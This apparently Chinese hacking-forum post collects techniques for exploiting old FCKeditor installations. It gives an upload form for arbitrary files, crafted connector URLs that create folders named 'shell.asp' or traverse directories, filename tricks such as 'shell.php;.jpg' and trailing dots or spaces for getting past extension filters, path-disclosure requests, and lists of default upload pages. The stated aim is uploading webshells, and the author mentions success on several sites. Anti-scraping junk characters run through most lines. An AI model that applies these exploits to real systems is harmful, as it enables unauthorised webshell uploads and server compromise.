Fckeditor漏洞利用总结
7 o' O* K% K( P0 D+ q5 a查看编辑器版本3 h* ]& H6 A0 k$ o B. S# E9 a
FCKeditor/_whatsnew.html
8 e7 v! w. h, U2 f/ _7 Q0 }—————————————————————————————————————————————————————————————
8 W* y1 {7 k [0 s6 H/ C# c6 m. m1 a, v+ Z) {3 U- t: \. k2 c
2. Version 2.2 版本
! B' D* w; X3 S* K" w0 Y7 OApache+linux 环境下在上传文件后面加个.突破!测试通过。9 v _& S* p l/ N; e
—————————————————————————————————————————————————————————————
# U8 v* v7 B6 E! w& S; {) u. m2 w" |; }
3.Version <=2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制,导致用户上传任意文件!将以下保存为html文件,修改action地址。: ]3 p0 x# R/ J1 [+ M
<form id="frmUpload" enctype="multipart/form-data"
! J. Y9 k8 [" M! X8 t7 Eaction="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>
7 \& \/ L1 }2 D+ y9 Z2 i5 ~5 `% d<input type="file" name="NewFile" size="50"><br>+ G e% I' u$ Q% D" w( y% l' @" f
<input id="btnUpload" type="submit" value="Upload">
3 p8 d/ T/ G( r</form>) B. D, P t; s% k$ L3 o9 t1 b! O
—————————————————————————————————————————————————————————————7 N3 L) Z5 `3 j
2 M% ]9 Y2 X6 m# i, N3 y) S4.FCKeditor 文件上传“.”变“_”下划线的绕过方法; p" a+ L6 Y. P) D4 n: j/ @$ a
很多时候上传的文件例如:shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。
) r) K! M! w2 A$ K" N 4.1:提交shell.php+空格绕过9 O. u [) }& W" {! s
不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试。
1 w5 @3 Y" W+ s) F$ V( U T 4.2:继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹,只检测了第一级的目录,如果跳到二级目录就不受限制。0 A4 ^1 m0 t$ ^0 Y
—————————————————————————————————————————————————————————————
% K6 j5 s4 f6 N7 P+ @; g2 _
- i0 W- y8 _# y0 v& x3 p5. 突破建立文件夹, `* A" i, O: r, B) D2 g7 M, n* r" m: f
FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684
" \ Z! j- ~) H& ~8 lFCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp! W+ }% t, R n Q1 c9 r
—————————————————————————————————————————————————————————————. i3 S2 g5 z1 v" K _5 q
2 t* a3 N% K5 w4 M6 X, q. @6. FCKeditor 中test 文件的上传地址
6 `0 B$ e/ k3 L5 i6 } o+ Q yFCKeditor/editor/filemanager/browser/default/connectors/test.html
5 {: l* f9 w; AFCKeditor/editor/filemanager/upload/test.html
$ v3 c& R' U* g% x( f' Z3 p: a/ HFCKeditor/editor/filemanager/connectors/test.html+ e. C) X4 t Y% x# n
FCKeditor/editor/filemanager/connectors/uploadtest.html
% r& v3 w. u! N% i—————————————————————————————————————————————————————————————9 \& n# ]- Y' V
; s8 Q1 u; i1 j$ a8 A% O) G7.常用上传地址; T4 m* u6 e2 S; v0 P' u
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/( P1 O+ f' s) f4 R9 ^9 x
FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp
' i& c1 Q2 _% Y1 N3 {/ FFCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过)5 i8 q3 A- }8 R- a
JSP 版:
5 |- B. G7 Q1 h+ u3 }FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp& W6 v8 F9 r! i C
注意红色部分修改为FCKeditor 实际使用的脚本语言,蓝色部分可以自定义文
! Y; r4 \! x; L* z件夹名称也可以利用../..目录遍历,紫色部分为实际网站地址。! N( ^: c3 Z7 f2 b$ ?, w% A6 i
—————————————————————————————————————————————————————————————
" D9 p( U/ ]0 X' o( k$ E q! y0 I1 z# g" q1 {
8.其他上传地址
! ]# ^# _, B8 k/ }6 IFCKeditor/_samples/default.html
8 P0 M% c/ L2 W1 k* F4 eFCKeditor/_samples/asp/sample01.asp5 a9 G; [( \6 w; T7 v
FCKeditor/_samples/asp/sample02.asp
7 L t0 K* G V7 t0 GFCKeditor/_samples/asp/sample03.asp' \, f' `. \- x* P; ~
FCKeditor/_samples/asp/sample04.asp. B5 O1 A' L6 O- w
一般很多站点都已删除_samples 目录,可以试试。
; v" E7 ]8 ^9 S+ s+ QFCKeditor/editor/fckeditor.html 不可以上传文件,可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。
+ t. s. N- @ P) k7 t—————————————————————————————————————————————————————————————# W$ r! ?9 X0 u# S/ _0 V/ \2 i7 B* v: a
8 `0 J7 D: D) Y) c/ z9 S+ s9.列目录漏洞也可助找上传地址
6 y: t. P4 A: r( A1 n% sVersion 2.4.1 测试通过" f2 H' K* n2 ~# b+ v/ _
修改CurrentFolder 参数使用 ../../来进入不同的目录
2 r' a1 j8 k. d/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp5 C% y; r; O0 g' g
根据返回的XML 信息可以查看网站所有的目录。# y. @$ N0 `/ u5 ?1 t
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F
1 m3 o" O6 w! ^+ }9 @# Q; T也可以直接浏览盘符:4 m: w7 S+ Z+ f( Q8 g) w$ ]- s+ j
JSP 版本:* T5 t. ~& N' C: p+ e
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F
0 u1 R( s$ P3 E, U) M# I V—————————————————————————————————————————————————————————————8 i' q2 v! ?( j
1 P, t7 f3 G+ f: _4 N10.爆路径漏洞
" W0 @; g6 \- C2 w h% f, jFCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp
1 r2 P4 A, S$ T5 y—————————————————————————————————————————————————————————————
5 P( [; y6 j4 W) Q+ E
# v2 G& `0 _. w& ]. P' N5 w11. FCKeditor 被动限制策略所导致的过滤不严问题
4 X! Z8 a2 H+ {- W 影响版本: FCKeditor x.x <= FCKeditor v2.4.3
/ T$ U7 a: D0 K$ Y) x脆弱描述:$ S8 G3 @- E" x% A) P0 ]
FCKeditor v2.4.3 中File 类别默认拒绝上传类型:1 l8 {, B' n. {
html|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm
' H6 B }2 b' G6 M! GFckeditor 2.0 <= 2.2 允许上传asa、cer、php2、php4、inc、pwml、pht 后缀的文件上传后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName,而没有使用$sExtension 为后缀.直接导致在win 下在上传文件后面加个.来突破[未测试]!
8 M/ y* b0 z/ W2 O: Z7 _ 而在apache 下,因为"Apache 文件名解析缺陷漏洞"也可以利用之,另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码,其限制最为狭隘。
4 y3 J' J5 U5 z0 c% ?) J9 ^6 b 在上传时遇见可直接上传脚本文件固然很好,但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过,也可以利用2003 解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg!" G1 x6 f! s6 t/ s/ E- P
—————————————————————————————————————————————————————————————
# q& K9 ] e( O5 ]& f* c4 {( s% b# f* e3 `3 P b/ k6 F# }
12.最古老的漏洞,Type文件没有限制!
+ F0 x3 o9 V. O& [ 我接触到的第一个fckeditor漏洞了。版本不详,应该很古老了,因为程序对type=xxx 的类型没有检查。我们可以直接构造上传把type=Image 改成Type=hsren 这样就可以建立一个叫hsren的文件夹,一个新类型,没有任何限制,可以上传任意脚本! ; ]7 j* B3 d3 O0 I
—————————————————————————————————————————————————————————————) {% {8 T6 j9 H) ]; z( O' f6 v
/ A5 S6 C0 `+ g
===============================================================================================================================================$ D" \5 `/ b! U) C0 L9 G, O
0 f* M0 l0 W* a8 J; vFCK编辑器jsp版本漏洞:, t$ j! v e# r9 ], I$ @
0 ^% P( c* w7 L: H5 u
; ~) C( v( s2 n$ i& ^. F! A& phttp://www.xxx.com/fckeditor/edi ... p;CurrentFolder=%2F
|: E3 x" \' u& u1 z! Q Z$ m8 H) C( p
上传马所在目录. a- X7 _1 D M O' Y6 @
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/; _4 x! h$ u+ C
上传shell的地址:
$ l" m A2 U2 _0 D' `- khttp://www.xxx.com/fckeditor/edi ... ctors/jsp/connector
+ |' i% }2 j, D2 R3 e跟版本有关系.并不是百分百成功. 测试成功几个站.
2 b" H4 ? ?3 E! L) c# W不能通杀.很遗憾.3 P) t( \7 M; y
http://www.****.com/FCKeditor/editor/filemanager/browser/default/browser.html?type=File&connector=connectors/jsp/connector
) R; J. q' |7 ~8 `如果以上地址不行可以试试4 N5 y- r$ _( R ^: O+ Q
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=/servlet/Connector
) D& t9 l3 a1 [$ e- V" DFCKeditor/_samples/ n' B: K, h2 L8 Z2 @) }
FCKeditor/_samples/default.html
' n3 p) {* v' U- ~. k# E7 g0 [FCKeditor/editor/fckeditor.htm7 F1 v* J- J9 _8 o: C1 P
FCKeditor/editor/fckdialog.html' z- h# }% N! _% j9 R9 Y5 M
6 e* T, i' ?, B. ^" p0 v0 a2 {: Y& @6 ^5 U7 L% w
2 b8 G7 e4 t" z% Z4 ~9 s5 S( ^) T6 T4 t; ~
解析漏洞+未重命名文件时上传漏洞 1.asp;jpg& S, K. u J' M' ~3 K
|